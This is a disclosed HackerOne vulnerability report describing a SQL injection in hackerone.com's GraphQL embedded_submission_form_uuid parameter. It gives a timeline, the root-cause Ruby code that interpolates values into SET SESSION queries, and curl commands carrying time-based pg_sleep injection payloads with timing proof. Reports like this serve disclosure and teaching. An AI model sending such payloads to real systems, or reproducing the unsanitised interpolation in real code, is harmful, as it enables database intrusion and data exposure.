HexBrain

HackerOne 路 Report #435066

SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter

Validstatus
criticalseverity
174upvotes
30 Nov 2018disclosed

Summary

Summary

The embedded_submission_form_uuid parameter in the /graphql endpoint was vulnerable to a SQL injection. This allowed an attacker to extract information from the public and secure schema. We have determine that the vulnerability was not exploited. A thorough explanation can be found in the report below.

Timeline

Time (PST)Action
November 6th, 2018 8:04a@tomdev notices a PG::SyntaxError exception in hackerone.com's backend 馃檶
November 6th, 2018 8:04a@jjoos alerted InfoSec, people were assigned tasks
November 6th, 2018 8:20aRoot cause was identified and a hot fix was put up for review
November 6th, 2018 8:52aThis report was filed to document the vulnerability
November 6th, 2018 12:42pA hot fix for the security vulnerability was released
November 15th, 2018 2:20pInvestigation was concluded and determined that the vulnerability was not exploited

Impacted Data

We have determine that the vulnerability was not exploited. A thorough explanation can be found in the report below.

Root cause

HackerOne.com has a GraphQL endpoint that the frontend uses to query its backend. When the embedded submission form feature was introduced, a design decisions was made to leverage a GraphQL parameter rather than an input field. Input fields are properly sanitized. However, GraphQL parameters, were not. These GraphQL parameters were not designed to take raw user input. Here's the vulnerable piece of code:

unless database_parameters_up_to_date
  safe_query = ''

  new_parameters.each do |key, value|
    safe_query += "SET SESSION #{key} TO #{value};" # <-- 馃槷
  end

  begin
    connection.query(safe_query)
  rescue ActiveRecord::StatementInvalid => e
    # NOTE: when the transaction is aborted, we cannot set or reset any parameters.
    # Changes of previous SET statements are undone as well, so we can safely do
    # nothing here
    raise e unless e.cause.is_a? PG::InFailedSqlTransaction
  end
end

The reason why we have to pass down these parameters to the PostgreSQL query level, is because HackerOne.com's database has two separate schemas. The public schema, which is where all the data resides and what we call the secure schema. The latter is a set of derived views from the public schema that returns data based on the currently signed in user (or signed out, for that matter). By default, GraphQL queries the secure schema. These derived views are automatically generated based on authorization logic we define in our GraphQL layer. This reduces the changes of information disclosure vulnerabilities, such as IDOR and SQL injections. Even when an attacker were to be able to query the secure schema, it'd reduce the number of exposed records significantly.

How it was found

The embedded_submission_form_uuid parameter in the /graphql endpoint is vulnerable to a SQL injection. Execute the following command to reproduce the behavior:

Locally:

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

HackerOne.com

curl -X POST https://hackerone.com/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

Additional proof

$ time curl -X POST https://hackerone.com/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(5\)%3B--%27
{}curl -X POST   0.03s user 0.01s system 0% cpu 5.726 total
$ time curl -X POST https://hackerone.com/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(1\)%3B--%27
{}curl -X POST   0.03s user 0.01s system 2% cpu 1.631 total
$ time curl -X POST https://hackerone.com/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(10\)%3B--%27
{}curl -X POST   0.02s user 0.01s system 0% cpu 10.557 total

Impact

The SQL injections seems to be executing in the context of the secure schema, so impact is currently unknown. However, since an attacker may be able to switch schemas, we should consider this to have a high impact on confidentiality.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original